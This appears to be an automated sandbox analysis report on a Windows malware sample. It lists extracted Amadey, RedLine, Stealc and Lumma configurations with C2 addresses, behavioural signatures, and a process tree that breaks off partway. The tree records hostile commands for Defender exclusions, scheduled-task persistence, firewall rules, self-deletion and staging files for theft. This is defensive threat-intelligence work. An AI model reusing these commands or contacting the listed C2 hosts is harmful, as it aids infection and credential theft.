Analysis

  • max time kernel
    234s
  • max time network
    303s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25/04/2024, 22:29

General

  • Target

    fa524dc3ef757df145b3272886cc4285039bc4856860f1c41f0d7d28f4c53027.exe

  • Size

    1.8MB

  • MD5

    8a5d66f0d2dc27a877ca78326b45f8d7

  • SHA1

    39fb657d179f7e9f5e377dbcbcf164e769ec6739

  • SHA256

    fa524dc3ef757df145b3272886cc4285039bc4856860f1c41f0d7d28f4c53027

  • SHA512

    7cf8a4ea9374ddc69617901b9c446d1dea200f3c93ae4ccd757b343a2f112674a4081cedaf74ef5954715de771472014e0c88bdf3ab5992ac95d5efdf102ae2e

  • SSDEEP

    49152:u6rv/kq91o2Q37tg72g4zclT7byu+wyv1+nddold5JnBn:ugjozrtg2duxy9+ddWZ5

Malware Config

Extracted

Family

amadey

Version

4.17

C2

http://193.233.132.167

Attributes
  • install_dir

    4d0ab15804

  • install_file

    chrosha.exe

  • strings_key

    1a9519d7b465e1f4880fa09a6162d768

  • url_paths

    /enigma/index.php

rc4.plain

Extracted

Family

redline

Botnet

@CLOUDYTTEAM

C2

185.172.128.33:8970

Extracted

Family

redline

Botnet

Test1234

C2

185.215.113.67:26260

Extracted

Family

stealc

C2

http://52.143.157.84

http://185.172.128.76

Attributes
  • url_path

    /c73eed764cc59dcb.php

Extracted

Family

lumma

C2

https://affordcharmcropwo.shop/api

https://cleartotalfisherwo.shop/api

https://worryfillvolcawoi.shop/api

https://enthusiasimtitleow.shop/api

https://dismissalcylinderhostw.shop/api

https://diskretainvigorousiw.shop/api

https://communicationgenerwo.shop/api

https://pillowbrocccolipe.shop/api

https://productivelookewr.shop/api

https://tolerateilusidjukl.shop/api

https://shatterbreathepsw.shop/api

https://shortsvelventysjo.shop/api

https://incredibleextedwj.shop/api

https://alcojoldwograpciw.shop/api

https://liabilitynighstjsko.shop/api

https://demonstationfukewko.shop/api

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Detect ZGRat V1 4 IoCs
  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 10 IoCs
  • Lumma Stealer

    An infostealer written in C++ first seen in August 2022.

  • Modifies firewall policy service 2 TTPs 2 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 6 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • UAC bypass 3 TTPs 2 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Downloads MZ/PE file
  • Modifies Windows Firewall 2 TTPs 4 IoCs
  • Stops running service(s) 3 TTPs
  • Checks BIOS information in registry 2 TTPs 10 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 64 IoCs
  • Identifies Wine through registry keys 2 TTPs 2 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

  • Loads dropped DLL 19 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 6 IoCs
  • Enumerates connected drives 3 TTPs 6 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 17 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Suspicious use of SetThreadContext 10 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 3 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Program Files directory 10 IoCs
  • Drops file in Windows directory 3 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 14 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 8 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fa524dc3ef757df145b3272886cc4285039bc4856860f1c41f0d7d28f4c53027.exe
    "C:\Users\Admin\AppData\Local\Temp\fa524dc3ef757df145b3272886cc4285039bc4856860f1c41f0d7d28f4c53027.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    PID:3508
  • C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe
    C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Executes dropped EXE
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1520
    • C:\Users\Admin\AppData\Local\Temp\1000147001\swiiiii.exe
      "C:\Users\Admin\AppData\Local\Temp\1000147001\swiiiii.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:1268
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        3⤵
          PID:4800
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          3⤵
            PID:3668
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1268 -s 808
            3⤵
            • Program crash
            PID:4664
        • C:\Users\Admin\AppData\Local\Temp\1000148001\alexxxxxxxx.exe
          "C:\Users\Admin\AppData\Local\Temp\1000148001\alexxxxxxxx.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:4196
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:680
            • C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe
              "C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"
              4⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4396
            • C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe
              "C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"
              4⤵
              • Executes dropped EXE
              • Modifies system certificate store
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4680
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
              4⤵
                PID:6612
                • C:\Windows\SysWOW64\choice.exe
                  choice /C Y /N /D Y /T 3
                  5⤵
                    PID:6460
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 4196 -s 504
                3⤵
                • Program crash
                PID:1296
            • C:\Users\Admin\AppData\Local\Temp\1000149001\gold.exe
              "C:\Users\Admin\AppData\Local\Temp\1000149001\gold.exe"
              2⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:1944
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                3⤵
                  PID:4116
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1944 -s 492
                  3⤵
                  • Program crash
                  PID:1092
              • C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
                "C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe"
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:1816
                • C:\Windows\SysWOW64\schtasks.exe
                  "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe" /F
                  3⤵
                  • Creates scheduled task(s)
                  PID:928
                • C:\Users\Admin\AppData\Local\Temp\1000226001\Uni400uni.exe
                  "C:\Users\Admin\AppData\Local\Temp\1000226001\Uni400uni.exe"
                  3⤵
                  • UAC bypass
                  • Executes dropped EXE
                  • Checks whether UAC is enabled
                  • Suspicious use of SetThreadContext
                  • Suspicious use of WriteProcessMemory
                  • System policy modification
                  PID:3352
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000226001\Uni400uni.exe" -Force
                    4⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4788
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
                    4⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4264
                    • C:\Users\Admin\Pictures\XNWBd3cPzA7hxEJ579IFBNbw.exe
                      "C:\Users\Admin\Pictures\XNWBd3cPzA7hxEJ579IFBNbw.exe"
                      5⤵
                      • Executes dropped EXE
                      PID:1504
                      • C:\Users\Admin\AppData\Local\Temp\u15s.0.exe
                        "C:\Users\Admin\AppData\Local\Temp\u15s.0.exe"
                        6⤵
                        • Executes dropped EXE
                        PID:5556
                      • C:\Users\Admin\AppData\Local\Temp\u15s.2\run.exe
                        "C:\Users\Admin\AppData\Local\Temp\u15s.2\run.exe"
                        6⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Suspicious use of SetThreadContext
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious behavior: MapViewOfSection
                        • Suspicious use of SetWindowsHookEx
                        PID:6108
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\SysWOW64\cmd.exe
                          7⤵
                          • Suspicious use of SetThreadContext
                          • Suspicious behavior: MapViewOfSection
                          PID:2360
                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                            C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                            8⤵
                              PID:7100
                        • C:\Users\Admin\AppData\Local\Temp\u15s.3.exe
                          "C:\Users\Admin\AppData\Local\Temp\u15s.3.exe"
                          6⤵
                          • Executes dropped EXE
                          • Checks SCSI registry key(s)
                          • Suspicious use of FindShellTrayWindow
                          • Suspicious use of SendNotifyMessage
                          PID:6724
                          • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
                            "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
                            7⤵
                              PID:1436
                        • C:\Users\Admin\Pictures\6YuHmhF7JkvRQRsF3mfIsd3g.exe
                          "C:\Users\Admin\Pictures\6YuHmhF7JkvRQRsF3mfIsd3g.exe"
                          5⤵
                          • Executes dropped EXE
                          PID:5196
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            powershell -nologo -noprofile
                            6⤵
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:5124
                          • C:\Users\Admin\Pictures\6YuHmhF7JkvRQRsF3mfIsd3g.exe
                            "C:\Users\Admin\Pictures\6YuHmhF7JkvRQRsF3mfIsd3g.exe"
                            6⤵
                            • Executes dropped EXE
                            PID:5500
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              powershell -nologo -noprofile
                              7⤵
                              • Drops file in System32 directory
                              • Modifies data under HKEY_USERS
                              PID:6656
                            • C:\Windows\System32\cmd.exe
                              C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                              7⤵
                                PID:6780
                                • C:\Windows\system32\netsh.exe
                                  netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                  8⤵
                                  • Modifies Windows Firewall
                                  PID:1956
                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                powershell -nologo -noprofile
                                7⤵
                                  PID:764
                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                  powershell -nologo -noprofile
                                  7⤵
                                    PID:592
                              • C:\Users\Admin\Pictures\oHSSJCbDT6Bt8MtZgs9Jmzu8.exe
                                "C:\Users\Admin\Pictures\oHSSJCbDT6Bt8MtZgs9Jmzu8.exe"
                                5⤵
                                • Executes dropped EXE
                                PID:5360
                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                  powershell -nologo -noprofile
                                  6⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:5412
                                • C:\Users\Admin\Pictures\oHSSJCbDT6Bt8MtZgs9Jmzu8.exe
                                  "C:\Users\Admin\Pictures\oHSSJCbDT6Bt8MtZgs9Jmzu8.exe"
                                  6⤵
                                  • Executes dropped EXE
                                  • Checks for VirtualBox DLLs, possible anti-VM trick
                                  • Modifies data under HKEY_USERS
                                  PID:6460
                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                    powershell -nologo -noprofile
                                    7⤵
                                    • Drops file in System32 directory
                                    • Modifies data under HKEY_USERS
                                    PID:6224
                                  • C:\Windows\System32\cmd.exe
                                    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                                    7⤵
                                      PID:5124
                                      • C:\Windows\system32\netsh.exe
                                        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                        8⤵
                                        • Modifies Windows Firewall
                                        PID:5612
                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -nologo -noprofile
                                      7⤵
                                      • Drops file in System32 directory
                                      • Modifies data under HKEY_USERS
                                      PID:2324
                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -nologo -noprofile
                                      7⤵
                                        PID:6720
                                  • C:\Users\Admin\Pictures\XgWc9DHXo0FLpfsiVTLMpKpD.exe
                                    "C:\Users\Admin\Pictures\XgWc9DHXo0FLpfsiVTLMpKpD.exe"
                                    5⤵
                                    • Modifies firewall policy service
                                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                    • Checks BIOS information in registry
                                    • Executes dropped EXE
                                    • Checks whether UAC is enabled
                                    • Drops file in System32 directory
                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                    PID:5644
                                  • C:\Users\Admin\Pictures\e2Awpta0LFc9TkbDdw23b932.exe
                                    "C:\Users\Admin\Pictures\e2Awpta0LFc9TkbDdw23b932.exe" --silent --allusers=0
                                    5⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    • Enumerates connected drives
                                    • Modifies system certificate store
                                    PID:5796
                                    • C:\Users\Admin\Pictures\e2Awpta0LFc9TkbDdw23b932.exe
                                      C:\Users\Admin\Pictures\e2Awpta0LFc9TkbDdw23b932.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.68 --initial-client-data=0x2a4,0x2a8,0x2ac,0x2a0,0x2b0,0x6a9ee1d0,0x6a9ee1dc,0x6a9ee1e8
                                      6⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      PID:1948
                                    • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\e2Awpta0LFc9TkbDdw23b932.exe
                                      "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\e2Awpta0LFc9TkbDdw23b932.exe" --version
                                      6⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      PID:4784
                                    • C:\Users\Admin\Pictures\e2Awpta0LFc9TkbDdw23b932.exe
                                      "C:\Users\Admin\Pictures\e2Awpta0LFc9TkbDdw23b932.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=5796 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240425223039" --session-guid=59530fa7-5063-466e-85b6-074dfcf25064 --server-tracking-blob="NzMwMjg1OTlkZWY2ZTljOWUwMThmNWVhNTQ3YTM4ZGFkOGUzNDViZmU5YzBmNTg0NWZkYjYwOTk1YWFjNGNiZTp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2N19fMTIzIiwic3lzdGVtIjp7InBsYXRmb3JtIjp7ImFyY2giOiJ4ODZfNjQiLCJvcHN5cyI6IldpbmRvd3MiLCJvcHN5cy12ZXJzaW9uIjoiMTAiLCJwYWNrYWdlIjoiRVhFIn19LCJ0aW1lc3RhbXAiOiIxNzE0MDg0MjE4LjI0MjIiLCJ1dG0iOnsiY2FtcGFpZ24iOiI3NjdfXzEyMyIsIm1lZGl1bSI6ImFwYiIsInNvdXJjZSI6Im1rdCJ9LCJ1dWlkIjoiOWI1OGYxOGYtMTk1Ny00MDZhLTgxY2QtYzZjMTBmODVhNmQ5In0= " --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=B804000000000000
                                      6⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • Enumerates connected drives
                                      PID:5592
                                      • C:\Users\Admin\Pictures\e2Awpta0LFc9TkbDdw23b932.exe
                                        C:\Users\Admin\Pictures\e2Awpta0LFc9TkbDdw23b932.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.68 --initial-client-data=0x2a0,0x2b0,0x2b4,0x27c,0x2b8,0x6976e1d0,0x6976e1dc,0x6976e1e8
                                        7⤵
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        PID:5324
                                    • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404252230391\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe
                                      "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404252230391\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe"
                                      6⤵
                                      • Executes dropped EXE
                                      PID:6652
                                    • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404252230391\assistant\assistant_installer.exe
                                      "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404252230391\assistant\assistant_installer.exe" --version
                                      6⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      PID:1392
                                      • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404252230391\assistant\assistant_installer.exe
                                        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404252230391\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x230,0x234,0x238,0x214,0x23c,0xf06038,0xf06044,0xf06050
                                        7⤵
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        PID:2400
                                  • C:\Users\Admin\Pictures\PuAtWiBMygvO4TMMjvHi41za.exe
                                    "C:\Users\Admin\Pictures\PuAtWiBMygvO4TMMjvHi41za.exe"
                                    5⤵
                                    • Executes dropped EXE
                                    PID:6980
                                    • C:\Users\Admin\AppData\Local\Temp\7zSEF6C.tmp\Install.exe
                                      .\Install.exe /RvdidblCuX "385118" /S
                                      6⤵
                                      • Checks BIOS information in registry
                                      • Executes dropped EXE
                                      • Enumerates system info in registry
                                      PID:4192
                                      • C:\Windows\SysWOW64\forfiles.exe
                                        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                        7⤵
                                          PID:6216
                                          • C:\Windows\SysWOW64\cmd.exe
                                            /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                            8⤵
                                              PID:764
                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                9⤵
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:6164
                                                • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                  "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                  10⤵
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:4608
                                          • C:\Windows\SysWOW64\schtasks.exe
                                            schtasks /CREATE /TN "bWycNackLSywaqkmgR" /SC once /ST 22:32:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\GbpHzJU.exe\" em /aDsite_idWfT 385118 /S" /V1 /F
                                            7⤵
                                            • Drops file in Windows directory
                                            • Creates scheduled task(s)
                                            PID:6828
                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
                                      4⤵
                                        PID:4832
                                  • C:\Windows\SysWOW64\rundll32.exe
                                    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
                                    2⤵
                                    • Loads dropped DLL
                                    • Suspicious use of WriteProcessMemory
                                    PID:2816
                                    • C:\Windows\system32\rundll32.exe
                                      "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
                                      3⤵
                                      • Blocklisted process makes network request
                                      • Loads dropped DLL
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of WriteProcessMemory
                                      PID:3144
                                      • C:\Windows\system32\netsh.exe
                                        netsh wlan show profiles
                                        4⤵
                                          PID:4268
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          powershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\604470191232_Desktop.zip' -CompressionLevel Optimal
                                          4⤵
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:2868
                                    • C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe
                                      "C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe"
                                      2⤵
                                      • Executes dropped EXE
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:1016
                                    • C:\Users\Admin\AppData\Local\Temp\1000153001\swiiii.exe
                                      "C:\Users\Admin\AppData\Local\Temp\1000153001\swiiii.exe"
                                      2⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetThreadContext
                                      PID:1680
                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                        3⤵
                                        • Loads dropped DLL
                                        • Checks processor information in registry
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:4236
                                    • C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe
                                      "C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe"
                                      2⤵
                                      • UAC bypass
                                      • Executes dropped EXE
                                      • Checks whether UAC is enabled
                                      • Suspicious use of SetThreadContext
                                      • System policy modification
                                      PID:4272
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe" -Force
                                        3⤵
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:5408
                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
                                        3⤵
                                          PID:5456
                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
                                          3⤵
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:5532
                                          • C:\Users\Admin\Pictures\yORn7jdenHmIslQyXwAq8Qyy.exe
                                            "C:\Users\Admin\Pictures\yORn7jdenHmIslQyXwAq8Qyy.exe"
                                            4⤵
                                            • Executes dropped EXE
                                            PID:5916
                                            • C:\Users\Admin\AppData\Local\Temp\u4kc.0.exe
                                              "C:\Users\Admin\AppData\Local\Temp\u4kc.0.exe"
                                              5⤵
                                              • Executes dropped EXE
                                              PID:4324
                                            • C:\Users\Admin\AppData\Local\Temp\u4kc.2\run.exe
                                              "C:\Users\Admin\AppData\Local\Temp\u4kc.2\run.exe"
                                              5⤵
                                              • Executes dropped EXE
                                              • Loads dropped DLL
                                              • Suspicious use of SetThreadContext
                                              • Suspicious behavior: EnumeratesProcesses
                                              • Suspicious behavior: MapViewOfSection
                                              • Suspicious use of SetWindowsHookEx
                                              PID:1772
                                              • C:\Windows\SysWOW64\cmd.exe
                                                C:\Windows\SysWOW64\cmd.exe
                                                6⤵
                                                • Suspicious use of SetThreadContext
                                                • Suspicious behavior: MapViewOfSection
                                                PID:1028
                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                  C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                  7⤵
